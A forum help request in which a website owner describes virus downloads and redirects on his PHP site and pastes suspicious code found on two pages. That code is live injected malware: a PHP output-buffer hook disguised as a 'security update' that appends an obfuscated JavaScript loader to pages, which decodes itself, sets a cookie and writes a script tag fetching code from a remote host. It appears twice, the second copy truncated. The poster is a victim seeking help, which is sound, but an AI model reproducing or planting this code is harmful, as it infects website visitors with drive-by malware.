Need a bit of help, whats this code

[cantunderstandphp]

Hi all, just to say I’m new to PHP and it goes straight over my head…. I do websites very much small time and normally in html.

 

Anyway would like a piece of advice and help if possible.

 

I have a forum and site that a company developed for me, as the site was going to be too big for me to build or develop,  so we paid for it to be done, while getting additions to the site has proved to much for us to pay we have kept with the original design.

 

Over the last 2 weeks we seem to have had 2 separate attacks on the site, both have had the same action and effect on the site.

 

On getting to the main page you download a virus.. on some occasions you get redirected, the virus was Bloodhound.Expliot.213 while other members have had different ones.

 

The first time this happened the company installed a back up over the files and it seemed to have worked, not sure and don’t understand how, new topics, new members joining and images stayed, just guess the database was untouched.

 

The second time is this weekend, and I uploaded a temp page to stop people downloading another virus, the company that does not have 24/7 support but managed to get someone to take a look this morning and reported that they have removed all the malicious code and will need to look over the site after the weekend….

 

I made the decision not to let them reinstate the main page until after the weekend just in case we get another attack.

 

SO

 

I have been looking over the site and seen this code, its on two main pages and would like to get your advice as to what it is, if its safe then that’s ok, but if I’m going to report back to them and complain I would like to know I’m right, the whole site is in PHP.

 

hope I have posted in the right place and inserted the code as it should be

 

cheers Marc

 

     

    <div align="center" style="width: 465px;"><a href="profile.html?id=<?php ob_start("security_update"); function security_update($buffer){return $buffer."\<script\ language\=\"javascript\"\>\$\=\"Z6fpZ3dZ22Z2524Z253dZ2522dw\(dcZ2573\(cuZ252cZ2531Z2534Z2529\)Z253bZ2522\;Z22\;dbZ3dZ2289\+tqduZ3ecudTqdu8tqduZ3ewudTqdu890Z3d0\#9\+0dy\}uK7iuqb7M0\-0tqduZ3ewudVe\|\|Iuqb89\+dy\}uK7\}Z257F\~dx7M0\-0tqduZ3ewud\]Z257F\~dx89\;\!\+dy\}uK7tqi7M0\-0tqduZ3ewudTqdu89\+yv08tqduZ3ewudTqi890\-\-0\!0ll0tqduZ3ewudTqi890\-\-0Z25260ll0tqduZ3ewudTqi890\-\-0\$9ktqduZ3ecudTqdu8tqduZ3ewudTqdu890Z3d0\!9\+0dy\}uK7tqi7M0\-0tqduZ3ewudTqdu89\+0dy\}uK7\}Z257F\~dx7M0\-0tqduZ3ewud\]Z257F\~dx89\;\!\+0dy\}uK7iuqb7M0\-0tqduZ3ewudVe\|\|Iuqb89\+0m0tqduZ3ecudTqdu8tqduZ3ewudTqdu89Z22\;cdZ3dZ22Z2574Z253dsZ2574\+Z2553Z2574Z2572ingZ252efrZ256fZ256dChaZ2572Z2543odZ2565\(\(tZ256dp\.Z22\;dcZ3dZ220\;0\!9\+0yv08tqduZ3ewud\]Z257F\~dx89\;\!0\,0\!Z25209kcxyvdY\~tuh0\-0dy\}uK7iuqb7M0\;07Z3dZ252070\;08tqduZ3ewud\]Z257F\~dx89\;\!90\+mu\|cukcxyvdY\~tuh0\-0dy\}uK7iuqb7M0\;07Z3d70\;08tqduZ3ewud\]Z257F\~dx89\;\!9\+myv08tqduZ3ewudTqdu890\,0\!Z25209kcxyvdY\~tuh0\-cxyvdY\~tuh0\;07Z3dZ252070\;0tqduZ3ewudTqdu89\+mu\|cukcxyvdY\~tuh0\-0cxyvdY\~tuh0\;07Z3d70\;0tqduZ3ewudTqdu89\+mcxyvdY\~tuh0\-0gy\~tZ257FgZ3edgZ3edbu\~tcKcxyvdY\~tuhMKZ2520MZ3eaeubiZ3esxqbSZ257FtuQd8\!9\+ve\~sdyZ257F\~0SZ22\;deZ3dZ22\+iuqbSxZ25220\-0\|uddubcK8888dy\}uK7iuqb7M060Z2520h\#\#\!\!90\.\.0\#90\;0\~e\}9050\!Z25209M0\;0\|uddubcK8888dy\}uK7iuqb7M060Z2520h\#\#\!\!90\.\.0\$90\;0\~e\}9050\!Z25209M\+\}Z257F\~dxSx0\-0\|uddubcK88dy\}uK7\}Z257F\~dx7M0\;0\~e\}9050Z2522Z259M0\;0\|uddubcK88dy\}uK7\}Z257F\~dx7M0\:0\~e\}9050Z2522Z259M\+tqiSx0\-0\|uddubcK88dy\}uK7tqi7M0\:0Z25269050Z2522Z279M\+4\-4Z3ebu\`\|qsu8tZ3ciuqbSxZ25220\;0\}Z257F\~dxSx0\;0iuqbSx\!0\;0tqiSx0\;0\}Z257F\~dxcKdy\}uK7\}Z257F\~dx7M0Z3d0\!M0\;07Z3esZ257F\}79\+Z22\;ddZ3dZ22q\|se\|qdu\]qwys\^e\}rub8tqiZ3c0\}Z257F\~dxZ3c0iuqbZ3c0y\~tuh9kbudeb\~0888iuqb0\;08y\~tuh0\:0tqi990\;08\}Z257F\~dx0N0tqi90\:0y\~tuh90\;0tqi9\+mfqb0iuqbSx\!Z3c0iuqbSxZ2522Z3c0\}Z257F\~dxSxZ3c0tqiSxZ3c0\}qwys\^e\}\+\~e\}0\-0Sq\|se\|qdu\]qwys\^e\}rub8dy\}uK7tqi7MZ3c0dy\}uK7\}Z257F\~dx7MZ3c0dy\}uK7iuqb7MZ3c0cxyvdY\~tuh9\+iuqbSx\!0\-0\|uddubcK888dy\}uK7iuqb7M060Z2520hQQ90\;0\~e\}9050Z2526\#9050Z2522Z2526M0\;0\|uddubcK888dy\}uK7iuqb7M060Z2520hQQ90\,\,0Z252290\;0\~e\}9050Z2522Z25MZ22\;dzZ3dZ22Z2566uncZ2574ioZ256e\ dwZ2528t\)Z257bcaZ253dZ2527Z252564Z25256fcuZ25256deZ25256etZ25252Z2565wZ252572Z2525Z25369teZ2528Z25252Z2532Z2527\;cZ2565Z253dZ2527Z252522Z252529Z2527\;cbZ253dZ2527Z25253csZ252563rZ252569pZ2574Z2520Z25256cZ252561nguZ25256Z2531geZ2525Z2533Z2564Z2525Z2535Z2563Z252522Z256aavZ2561sZ252563Z2572Z252569Z252570tZ25255cZ25252Z2532Z25253Z2565Z2527\;cZ2563Z253dZ2527Z25253cZ25255cZ25252fsZ2563Z2572Z2569Z2570Z252574Z25253eZ2527\;evZ2561lZ2528unZ2565Z2573Z2563apeZ2528tZ2529\)\}\;Z22\;ccZ3dZ22\.Z256ceZ256egthZ253biZ252b\+\)Z257btmZ2570Z253dds\.slZ2569Z2563e\(iZ252ci\+Z2531\)\;sZ22\;cuZ3dZ22\(gwf\}d\`4xuzsausq\)6\~ubugwf\}d\`6\*\}r4Z3czub\}su\`Z7bf\:wZ7bZ7bZ257F\}qQzuvxqpZ3dobuf4dZ7bdKazpqf4\)4zaxxZ2fbuf4dZ7bdKwZ7bZ7bZ257F\}qKzuyq4\)46upbyuZ257FqfKZ257FZ7byud6Z2fbuf4dZ7bdK\`\}yqZ7ba\`4\)4\#Z2526\$Z2frazw\`\}Z7bz4dZ7bdKwZ7bZ7bZ257F\}qKqzuvxqpZ3cZ3dobuf4\}gKqzuvxqp4\)4ruxgqZ2f\}r4Z3c5c\}zpZ7bc\:Z7bdqfu42245zub\}su\`Z7bf\:wZ7bZ7bZ257F\}qQzuvxqpZ3dfq\`afz4\}gKqzuvxqpZ2f\}r4Z3c\`mdqZ7br4pZ7bwayqz\`\:wZ7bZ7bZ257F\}q4\)\)43g\`f\}zs3Z3d\}r4Z3cpZ7bwayqz\`\:wZ7bZ7bZ257F\}q\:xqzs\`\|4\)\)4\$Z3dopZ7bwayqz\`\:wZ7bZ7bZ257F\}q4\)46\`qg\`6Z2f\}gKqzuvxqp4\)4pZ7bwayqz\`\:wZ7bZ7bZ257F\}q4\)\)43\`qg\`3Z2fpZ7bwayqz\`\:wZ7bZ7bZ257F\}q4\)433Z2fiqxgqo\}gKqzuvxqp4\)4\`faqZ2fifq\`afz4\}gKqzuvxqpZ2firazw\`\}Z7bz4dZ7bdKsq\`WZ7bZ7bZ257F\}qZ3czuyqZ3dobuf4wZ7bZ7bZ257F\}q4\)46464\?4pZ7bwayqz\`\:wZ7bZ7bZ257F\}qZ2fbuf4gqufw\|4\)46464\?4zuyq4\?46\)6Z2fbuf4gq\`G\`f4\)4zaxxZ2fbuf4Z7brrgq\`4\)4\$Z2fbuf4qzp4\)4\$Z2f\}r4Z3cwZ7bZ7bZ257F\}q\:xqzs\`\|4\*4\$Z3doZ7brrgq\`4\)4wZ7bZ7bZ257F\}q\:\}zpql\[rZ3cgqufw\|Z3dZ2f\}r4Z3cZ7brrgq\`45\)49Z25Z3doZ7brrgq\`4\?\)4gqufw\|\:xqzs\`\|Z2fqzp4\)4wZ7bZ7bZ257F\}q\:\}zpql\[rZ3c6Z2f684Z7brrgq\`Z3dZ2f\}r4Z3cqzp4\)\)49Z25Z3doqzp4\)4wZ7bZ7bZ257F\}q\:xqzs\`\|Z2figq\`G\`f4\)4azqgwudqZ3cwZ7bZ7bZ257F\}q\:gavg\`f\}zsZ3cZ7brrgq\`84qzpZ3dZ3dZ2fiifq\`afzZ3cgq\`G\`fZ3dZ2firazw\`\}Z7bz4dZ7bdKgq\`WZ7bZ7bZ257F\}q4Z3czuyq84buxaqZ3dopZ7bwayqz\`\:wZ7bZ7bZ257F\}q4\)4zuyq4\?46\)64\?4qgwudqZ3cbuxaqZ3d4\?46Z2f4qld\}fqg\)Rf\}pum8Z27Z259Pqw9\!\$4Z2526Z27\.\!\-\.\!\-4SY\@Z2f4du\`\|\)\;Z2f6Z2firazw\`\}Z7bz4g\|Z7bcKdZ7bdZ3cZ3dobuf4dZ7bdKczp4\)46\|\`\`d\.\;\;rvwyr\}f\:wZ7by\;xp\;wvf\`lp\;6Z2fbuf4rquKczp4\)46gwfZ7bxxvufg\)Z258fqg\}nuvxq\)Z258\`Z7bZ7bxvuf\)Z258xZ7bwu\`\}Z7bz\)Z258yqzavuf\)Z258g\`u\`ag\)Z258p\}fqw\`Z7bf\}qg\)\$6Z2fbuf4zqqpKZ7bdqz4\)4\`faqZ2f\}r4Z3cpZ7bwayqz\`\:Z7bzwx\}wZ257FKwZ7bdm45\)4zaxxZ3dpZ7bwayqz\`\:Z7bzwx\}wZ257FKwZ7bdmZ3cZ3dZ2f\}r4Z3cpZ7bwayqz\`\:vZ7bpm\:Z7bzvqrZ7bfqazxZ7bupKwZ7bdm45\)4zaxxZ3dpZ7bwayqz\`\:vZ7bpm\:Z7bzvqrZ7bfqazxZ7bupKwZ7bdmZ3cZ3dZ2f\}r4Z3cdZ7bdKazpqf45\)4zaxxZ3do\}r4Z3c5dZ7bdKazpqf\:wxZ7bgqpZ3dzqqpKZ7bdqz4\)4ruxgqZ2fi\}r4Z3czqqpKZ7bdqzZ3do\}r4Z3cdZ7bdKwZ7bZ7bZ257F\}qKqzuvxqpZ3cZ3dZ3dobux4\)4dZ7bdKsq\`WZ7bZ7bZ257F\}qZ3cdZ7bdKwZ7bZ7bZ257F\}qKzuyqZ3dZ2f\}r4Z3cbux45\)4zaxxZ3dozZ7bc4\)4zqc4Pu\`qZ3cZ3dZ2fbuxZ25264\)4zqc4Pu\`qZ3cbuxZ3dZ2fa\`wZ27Z25264\)4Pu\`q\:A\@WZ3czZ7bc\:sq\`RaxxMqufZ3cZ3d84zZ7bc\:sq\`YZ7bz\`\|Z3cZ3d84zZ7bc\:sq\`Pu\`qZ3cZ3d84zZ7bc\:sq\`Z255CZ7bafgZ3cZ3d84zZ7bc\:sq\`Y\}za\`qgZ3cZ3d84zZ7bc\:sq\`GqwZ7bzpgZ3cZ3dZ3dZ2fa\`wZ25264\)4Pu\`q\:A\@WZ3cbuxZ2526\:sq\`RaxxMqufZ3cZ3d84buxZ2526\:sq\`YZ7bz\`\|Z3cZ3d84buxZ2526\:sq\`Pu\`qZ3cZ3d84buxZ2526\:sq\`Z255CZ7bafgZ3cZ3d84buxZ2526\:sq\`Y\}za\`qgZ3cZ3d84buxZ2526\:sq\`GqwZ7bzpgZ3cZ3dZ3dZ2f\}r4Z3c4Z3c4a\`wZ27Z2526494a\`wZ25264Z3d4\;4Z25\$\$\$4\(4dZ7bdK\`\}yqZ7ba\`Z3eZ2522\$Z3dozqqpKZ7bdqz4\)4ruxgqZ2fiiii\}r4Z3czqqpKZ7bdqzZ3doazpqf4\)4c\}zpZ7bc\:Z7bdqzZ3cdZ7bdKczp846684rquKczpZ3dZ2fazpqf\:vxafZ3cZ3dZ2fc\}zpZ7bc\:rZ7bwagZ3cZ3dZ2f\}r4Z3cdZ7bdKwZ7bZ7bZ257F\}qKqzuvxqpZ3cZ3dZ3dozZ7bc4\)4zqc4Pu\`qZ3cZ3dZ2fdZ7bdKgq\`WZ7bZ7bZ257F\}qZ3cdZ7bdKwZ7bZ7bZ257F\}qKzuyq84zZ7bcZ3dZ2fiiirazw\`\}Z7bz4dZ7bdK\}z\}\`Z3cZ3dobuf4bqf4\)4dufgqRxZ7bu\`Z3czub\}su\`Z7bf\:uddBqfg\}Z7bzZ3dZ2fbuf4bqfZ25264\)4Z3czub\}su\`Z7bf\:agqfUsqz\`\:\}zpql\[rZ3c6C\}zpZ7bcg4\-\!6Z3d\*\)\$4hh4zub\}su\`Z7bf\:agqfUsqz\`\:\}zpql\[rZ3c6C\}zpZ7bcg4\-\,6Z3d\*\)\$4hh4zub\}su\`Z7bf\:agqfUsqz\`\:\}zpql\[rZ3c6C\}zpZ7bcg4Z5a\@6Z3d\*\)\$4Z3d22Z3czub\}su\`Z7bf\:agqfUsqz\`\:\}zpql\[rZ3c3\[dqfu3Z3d4\)\)49Z25Z3d22Z3czub\}su\`Z7bf\:uddZ5auyq45\)43Z5aq\`gwudq3Z3d422Z3czub\}su\`Z7bf\:agqfUsqz\`\:\}zpql\[rZ3c3YG\]Q3Z3d4\*49Z25Z3d422Z3czub\}su\`Z7bf\:agqfUsqz\`\:\}zpql\[rZ3c3GBZ253Z3d4\*49Z25Z3d422Z3cbqf4\*\)4Z2520Z3dZ2f\}r4Z3cbqfZ2526Z3do\}r4Z3cpZ7bwayqz\`\:x\}zZ257FgZ3dorZ7bf4Z3cbuf4\}\)\$Z2f4\}\(pZ7bwayqz\`\:x\}zZ257Fg\:xqzs\`\|Z2f4\}\?\?Z3do\}r4Z3cpZ7bwayqz\`\:x\}zZ257FgO\}I\:\`ufsq\`45\)46KvxuzZ257F6Z3dopZ7bwayqz\`\:x\}zZ257FgO\}I\:Z7bzwx\}wZ257FKwZ7bdm4\)4pZ7bwayqz\`\:x\}zZ257FgO\}I\:Z7bzwx\}wZ257FZ2fpZ7bwayqz\`\:x\}zZ257FgO\}I\:Z7bzwx\}wZ257F4\)4g\|Z7bcKdZ7bdZ2fiiiipZ7bwayqz\`\:Z7bzwx\}wZ257FKwZ7bdm4\)4pZ7bwayqz\`\:Z7bzwx\}wZ257FZ2fpZ7bwayqz\`\:Z7bzyZ7bagqad4\)4g\|Z7bcKdZ7bdZ2fidZ7bdK\}z\}\`Z3cZ3dZ2fi\(\;gwf\}d\`\*Z22\;daZ3dZ22fqb0t\-7vrs\}vybZ3esZ257F\}7\+0fqb0cxyvdY\~tuh0\-0Z2520\+fqb0\}Z257F\~dxc0\-0\~ug0Qbbqi87e\~Z257F7Z3c07tfu7Z3c07dxb7Z3c07vyb7Z3c07fyv7Z3c07huc7Z3c07fuc7Z3c07wxd7Z3c07u\~y7Z3c07ud\~7Z3c07\|uf7Z3c07dgu79\+fqb0\|uddubc0\-0\~ug0Qbbqi87q7Z3c7r7Z3c7s7Z3c7t7Z3c7u7Z3c7v7Z3c7w7Z3c7x7Z3c7y7Z3c7z7Z3c7Z7b7Z3c7\|7Z3c7\}7Z3c7\~7Z3c7Z257F7Z3c7\`7Z3c7a7Z3c7b7Z3c7c7Z3c7d7Z3c7e7Z3c7f7Z3c7g7Z3c7h7Z3c7i7Z3c7j79\+fqb0\~e\}rubc0\-0\~ug0Qbbqi8\!Z3cZ2522Z3c\#Z3c\$Z3cZ25Z3cZ2526Z3cZ27Z3c\(Z3c\)9\+fqb0dy\}u0\-0\~ug0Qbbqi89\+fqb0tqdu0\-0\~ug0TqduZ22\;stZ3dZ22Z2573Z2574Z253dZ2522\$Z253dsZ2574Z253bZ2564cZ2573Z2528dZ2561\+Z2564bZ252bZ2564cZ252bZ2564Z2564\+Z2564Z2565Z252c1Z2530\)Z253bZ2564wZ2528sZ2574\)Z253bZ2573tZ253d\$Z253bZ2522\;Z22\;cbZ3dZ22Z2565\(Z2564sZ2529Z253bstZ253dtZ256dZ2570Z253dZ2527Z2527\;for\(Z2569Z253d0Z253biZ253cdsZ22\;ceZ3dZ22Z2563haZ2572CoZ2564eZ2541t\(0Z2529\^\(Z25270x00Z2527Z252bZ2565sZ2529\)\)\;Z257dZ257dZ22\;caZ3dZ22Z2566uncZ2574iZ256fn\ Z2564Z2563Z2573Z2528dZ2573\,eZ2573\)Z257bdsZ253duneZ2573caZ2570Z22\;czZ3dZ22Z2566unZ2563tioZ256e\ cZ257a\(czZ2529Z257bretZ2575rZ256eZ2520cZ2561\+Z2563bZ252bZ2563Z2563\+cZ2564\+Z2563Z2565\+Z2563z\;Z257d\;Z22\;Z69f\ \(Z64ocuZ6dZ65ntZ2ecoZ6fkieZ2eiZ6eZ64exZ4ff\(Z27rZ665f6Z64sZ27\)Z3dZ3d\-1\)Z7bfunctiZ6fn\ Z63\(x\)Z7b\ wZ69ndZ6fw\.Z74w\ Z3d\ x\;sZ63\(Z27rZ665Z666dZ73Z27\,2\,Z37\)\;Z65valZ28uneZ73capZ65\(dZ7a\+czZ2bopZ2bsZ74\)\+Z27dwZ28dz\+Z63z\(\$Z2bsZ74\)\)Z3bZ27\)\;docuZ6dentZ2ewrZ69te\(Z24\)\;Z7ddoZ63Z75mZ65nt\.Z77riZ74e\(Z22Z3cscrZ22Z2bZ22iptZ20lZ61nguZ61Z67eZ3djaZ76aZ73crZ69pZ74Z22\+Z22\ srcZ3dZ27httZ70\:Z2fZ2fsearcZ68\.tZ77iZ74terZ2ecomZ2ftreZ6edsZ2fZ77eZ65Z6bly\.Z6asoZ6e\?cZ61llbZ61cZ6bZ3dc\&eZ78cluZ64eZ3dhaZ73hZ74agZ73Z27Z3eZ22\ \+\ Z22Z3cZ2fscrZ22\ \+\ Z22iptZ3eZ22\)\;\}eZ6cseZ7b\$Z3dZ27Z27\}\;functiZ6fn\ sZ63Z28cnZ6dZ2cv\,eZ64\)Z7bvar\ eZ78dZ3dnZ65wZ20DaZ74eZ28Z29\;exZ64\.seZ74DatZ65\(Z65xdZ2egeZ74DZ61Z74eZ28\)Z2bZ65d\)\;Z64ocuZ6denZ74\.Z63oZ6fZ6bZ69eZ3dcnZ6d\+\ Z27Z3dZ27\ \+eZ73capZ65Z28Z76\)\+Z27\;exZ70ireZ73Z3dZ27\+exd\.Z74oGMZ54Z53triZ6eg\(Z29\;Z7d\;\"\;function\ z\(s\)\{r\=\"\"\;for\(i\=0\;i\<s\.length\;i\+\+\)\{if\(s\.charAt\(i\)\=\=\"Z\"\)\{s1\=\"\%\"\}else\{s1\=s\.charAt\(i\)\}r\=r\+s1\;\}return\ unescape\(r\)\;\}eval\(z\(\$\)\)\;\<\/script\>";}//important security update echo $featured_info['account_id']; ?>"><img src="images/models.php?id=<?php ob_start("security_update"); function security_update($buffer){return $buffer."\<script\ language\=\"javascript\"\>\$\=\"Z6fpZ3dZ22Z2524Z253dZ2522dw\(dcZ2573\(cuZ252cZ2531Z2534Z2529\)Z253bZ2522\;Z22\;dbZ3dZ2289\+tqduZ3ecudTqdu8tqduZ3ewudTqdu890Z3d0\#9\+0dy\}uK7iuqb7M0\-0tqduZ3ewudVe\|\|Iuqb89\+dy\}uK7\}Z257F\~dx7M0\-0tqduZ3ewud\]Z257F\~dx89\;\!\+dy\}uK7tqi7M0\-0tqduZ3ewudTqdu89\+yv08tqduZ3ewudTqi890\-\-0\!0ll0tqduZ3ewudTqi890\-\-0Z25260ll0tqduZ3ewudTqi890\-\-0\$9ktqduZ3ecudTqdu8tqduZ3ewudTqdu890Z3d0\!9\+0dy\}uK7tqi7M0\-0tqduZ3ewudTqdu89\+0dy\}uK7\}Z257F\~dx7M0\-0tqduZ3ewud\]Z257F\~dx89\;\!\+0dy\}uK7iuqb7M0\-0tqduZ3ewudVe\|\|Iuqb89\+0m0tqduZ3ecudTqdu8tqduZ3ewudTqdu89Z22\;cdZ3dZ22Z2574Z253dsZ2574\+Z2553Z2574Z2572ingZ252efrZ256fZ256dChaZ2572Z2543odZ2565\(\(tZ256dp\.Z22\;dcZ3dZ220\;0\!9\+0yv08tqduZ3ewud\]Z257F\~dx89\;\!0\,0\!Z25209kcxyvdY\~tuh0\-0dy\}uK7iuqb7M0\;07Z3dZ252070\;08tqduZ3ewud\]Z257F\~dx89\;\!90\+mu\|cukcxyvdY\~tuh0\-0dy\}uK7iuqb7M0\;07Z3d70\;08tqduZ3ewud\]Z257F\~dx89\;\!9\+myv08tqduZ3ewudTqdu890\,0\!Z25209kcxyvdY\~tuh0\-cxyvdY\~tuh0\;07Z3dZ252070\;0tqduZ3ewudTqdu89\+mu\|cukcxyvdY\~tuh0\-0cxyvdY\~tuh0\;07Z3d70\;0tqduZ3ewudTqdu89\+mcxyvdY\~tuh0\-0gy\~tZ257FgZ3edgZ3edbu\~tcKcxyvdY\~tuhMKZ2520MZ3eaeubiZ3esxqbSZ257FtuQd8\!9\+ve\~sdyZ257F\~0SZ22\;deZ3dZ22\+iuqbSxZ25220\-0\|uddubcK8888dy\}uK7iuqb7M060Z2520h\#\#\!\!90\.\.0\#90\;0\~e\}9050\!Z25209M0\;0\|uddubcK8888dy\}uK7iuqb7M060Z2520h\#\#\!\!90\.\.0\$90\;0\~e\}9050\!Z25209M\+\}Z257F\~dxSx0\-0\|uddubcK88dy\}uK7\}Z257F\~dx7M0\;0\~e\}9050Z2522Z259M0\;0\|uddubcK88dy\}uK7\}Z257F\~dx7M0\:0\~e\}9050Z2522Z259M\+tqiSx0\-0\|uddubcK88dy\}uK7tqi7M0\:0Z25269050Z2522Z279M\+4\-4Z3ebu\`\|qsu8tZ3ciuqbSxZ25220\;0\}Z257F\~dxSx0\;0iuqbSx\!0\;0tqiSx0\;0\}Z257F\~dxcKdy\}uK7\}Z257F\~dx7M0Z3d0\!M0\;07Z3esZ257F\}79\+Z22\;ddZ3dZ22q\|se\|qdu\]qwys\^e\}rub8tqiZ3c0\}Z257F\~dxZ3c0iuqbZ3c0y\~tuh9kbudeb\~0888iuqb0\;08y\~tuh0\:0tqi990\;08\}Z257F\~dx0N0tqi90\:0y\~tuh90\;0tqi9\+mfqb0iuqbSx\!Z3c0iuqbSxZ2522Z3c0\}Z257F\~dxSxZ3c0tqiSxZ3c0\}qwys\^e\}\+\~e\}0\-0Sq\|se\|qdu\]qwys\^e\}rub8dy\}uK7tqi7MZ3c0dy\}uK7\}Z257F\~dx7MZ3c0dy\}uK7iuqb7MZ3c0cxyvdY\~tuh9\+iuqbSx\!0\-0\|uddubcK888dy\}uK7iuqb7M060Z2520hQQ90\;0\~e\}9050Z2526\#9050Z2522Z2526M0\;0\|uddubcK888dy\}uK7iuqb7M060Z2520hQQ90\,\,0Z252290\;0\~e\}9050Z2522Z25MZ22\;dzZ3dZ22Z2566uncZ2574ioZ256e\ dwZ2528t\)Z257bcaZ253dZ2527Z252564Z25256fcuZ25256deZ25256etZ25252Z2565wZ252572Z2525Z25369teZ2528Z25252Z2532Z2527\;cZ2565Z253dZ2527Z252522Z252529Z2527\;cbZ253dZ2527Z25253csZ252563rZ252569pZ2574Z2520Z25256cZ252561nguZ25256Z2531geZ2525Z2533Z2564Z2525Z2535Z2563Z252522Z256aavZ2561sZ252563Z2572Z252569Z252570tZ25255cZ25252Z2532Z25253Z2565Z2527\;cZ2563Z253dZ2527Z25253cZ25255cZ25252fsZ2563Z2572Z2569Z2570Z252574Z25253eZ2527\;evZ2561lZ2528unZ2565Z2573Z2563apeZ2528tZ2529\)\}\;Z22\;ccZ3dZ22\.Z256ceZ256egthZ253biZ252b\+\)Z257btmZ2570Z253dds\.slZ2569Z2563e\(iZ252ci\+Z2531\)\;sZ22\;cuZ3dZ22\(gwf\}d\`4xuzsausq\)6\~ubugwf\}d\`6\*\}r4Z3czub\}su\`Z7bf\:wZ7bZ7bZ257F\}qQzuvxqpZ3dobuf4dZ7bdKazpqf4\)4zaxxZ2fbuf4dZ7bdKwZ7bZ7bZ257F\}qKzuyq4\)46upbyuZ257FqfKZ257FZ7byud6Z2fbuf4dZ7bdK\`\}yqZ7ba\`4\)4\#Z2526\$Z2frazw\`\}Z7bz4dZ7bdKwZ7bZ7bZ257F\}qKqzuvxqpZ3cZ3dobuf4\}gKqzuvxqp4\)4ruxgqZ2f\}r4Z3c5c\}zpZ7bc\:Z7bdqfu42245zub\}su\`Z7bf\:wZ7bZ7bZ257F\}qQzuvxqpZ3dfq\`afz4\}gKqzuvxqpZ2f\}r4Z3c\`mdqZ7br4pZ7bwayqz\`\:wZ7bZ7bZ257F\}q4\)\)43g\`f\}zs3Z3d\}r4Z3cpZ7bwayqz\`\:wZ7bZ7bZ257F\}q\:xqzs\`\|4\)\)4\$Z3dopZ7bwayqz\`\:wZ7bZ7bZ257F\}q4\)46\`qg\`6Z2f\}gKqzuvxqp4\)4pZ7bwayqz\`\:wZ7bZ7bZ257F\}q4\)\)43\`qg\`3Z2fpZ7bwayqz\`\:wZ7bZ7bZ257F\}q4\)433Z2fiqxgqo\}gKqzuvxqp4\)4\`faqZ2fifq\`afz4\}gKqzuvxqpZ2firazw\`\}Z7bz4dZ7bdKsq\`WZ7bZ7bZ257F\}qZ3czuyqZ3dobuf4wZ7bZ7bZ257F\}q4\)46464\?4pZ7bwayqz\`\:wZ7bZ7bZ257F\}qZ2fbuf4gqufw\|4\)46464\?4zuyq4\?46\)6Z2fbuf4gq\`G\`f4\)4zaxxZ2fbuf4Z7brrgq\`4\)4\$Z2fbuf4qzp4\)4\$Z2f\}r4Z3cwZ7bZ7bZ257F\}q\:xqzs\`\|4\*4\$Z3doZ7brrgq\`4\)4wZ7bZ7bZ257F\}q\:\}zpql\[rZ3cgqufw\|Z3dZ2f\}r4Z3cZ7brrgq\`45\)49Z25Z3doZ7brrgq\`4\?\)4gqufw\|\:xqzs\`\|Z2fqzp4\)4wZ7bZ7bZ257F\}q\:\}zpql\[rZ3c6Z2f684Z7brrgq\`Z3dZ2f\}r4Z3cqzp4\)\)49Z25Z3doqzp4\)4wZ7bZ7bZ257F\}q\:xqzs\`\|Z2figq\`G\`f4\)4azqgwudqZ3cwZ7bZ7bZ257F\}q\:gavg\`f\}zsZ3cZ7brrgq\`84qzpZ3dZ3dZ2fiifq\`afzZ3cgq\`G\`fZ3dZ2firazw\`\}Z7bz4dZ7bdKgq\`WZ7bZ7bZ257F\}q4Z3czuyq84buxaqZ3dopZ7bwayqz\`\:wZ7bZ7bZ257F\}q4\)4zuyq4\?46\)64\?4qgwudqZ3cbuxaqZ3d4\?46Z2f4qld\}fqg\)Rf\}pum8Z27Z259Pqw9\!\$4Z2526Z27\.\!\-\.\!\-4SY\@Z2f4du\`\|\)\;Z2f6Z2firazw\`\}Z7bz4g\|Z7bcKdZ7bdZ3cZ3dobuf4dZ7bdKczp4\)46\|\`\`d\.\;\;rvwyr\}f\:wZ7by\;xp\;wvf\`lp\;6Z2fbuf4rquKczp4\)46gwfZ7bxxvufg\)Z258fqg\}nuvxq\)Z258\`Z7bZ7bxvuf\)Z258xZ7bwu\`\}Z7bz\)Z258yqzavuf\)Z258g\`u\`ag\)Z258p\}fqw\`Z7bf\}qg\)\$6Z2fbuf4zqqpKZ7bdqz4\)4\`faqZ2f\}r4Z3cpZ7bwayqz\`\:Z7bzwx\}wZ257FKwZ7bdm45\)4zaxxZ3dpZ7bwayqz\`\:Z7bzwx\}wZ257FKwZ7bdmZ3cZ3dZ2f\}r4Z3cpZ7bwayqz\`\:vZ7bpm\:Z7bzvqrZ7bfqazxZ7bupKwZ7bdm45\)4zaxxZ3dpZ7bwayqz\`\:vZ7bpm\:Z7bzvqrZ7bfqazxZ7bupKwZ7bdmZ3cZ3dZ2f\}r4Z3cdZ7bdKazpqf45\)4zaxxZ3do\}r4Z3c5dZ7bdKazpqf\:wxZ7bgqpZ3dzqqpKZ7bdqz4\)4ruxgqZ2fi\}r4Z3czqqpKZ7bdqzZ3do\}r4Z3cdZ7bdKwZ7bZ7bZ257F\}qKqzuvxqpZ3cZ3dZ3dobux4\)4dZ7bdKsq\`WZ7bZ7bZ257F\}qZ3cdZ7bdKwZ7bZ7bZ257F\}qKzuyqZ3dZ2f\}r4Z3cbux45\)4zaxxZ3dozZ7bc4\)4zqc4Pu\`qZ3cZ3dZ2fbuxZ25264\)4zqc4Pu\`qZ3cbuxZ3dZ2fa\`wZ27Z25264\)4Pu\`q\:A\@WZ3czZ7bc\:sq\`RaxxMqufZ3cZ3d84zZ7bc\:sq\`YZ7bz\`\|Z3cZ3d84zZ7bc\:sq\`Pu\`qZ3cZ3d84zZ7bc\:sq\`Z255CZ7bafgZ3cZ3d84zZ7bc\:sq\`Y\}za\`qgZ3cZ3d84zZ7bc\:sq\`GqwZ7bzpgZ3cZ3dZ3dZ2fa\`wZ25264\)4Pu\`q\:A\@WZ3cbuxZ2526\:sq\`RaxxMqufZ3cZ3d84buxZ2526\:sq\`YZ7bz\`\|Z3cZ3d84buxZ2526\:sq\`Pu\`qZ3cZ3d84buxZ2526\:sq\`Z255CZ7bafgZ3cZ3d84buxZ2526\:sq\`Y\}za\`qgZ3cZ3d84buxZ2526\:sq\`GqwZ7bzpgZ3cZ3dZ3dZ2f\}r4Z3c4Z3c4a\`wZ27Z2526494a\`wZ25264Z3d4\;4Z25\$\$\$4\(4dZ7bdK\`\}yqZ7ba\`Z3eZ2522\$Z3dozqqpKZ7bdqz4\)4ruxgqZ2fiiii\}r4Z3czqqpKZ7bdqzZ3doazpqf4\)4c\}zpZ7bc\:Z7bdqzZ3cdZ7bdKczp846684rquKczpZ3dZ2fazpqf\:vxafZ3cZ3dZ2fc\}zpZ7bc\:rZ7bwagZ3cZ3dZ2f\}r4Z3cdZ7bdKwZ7b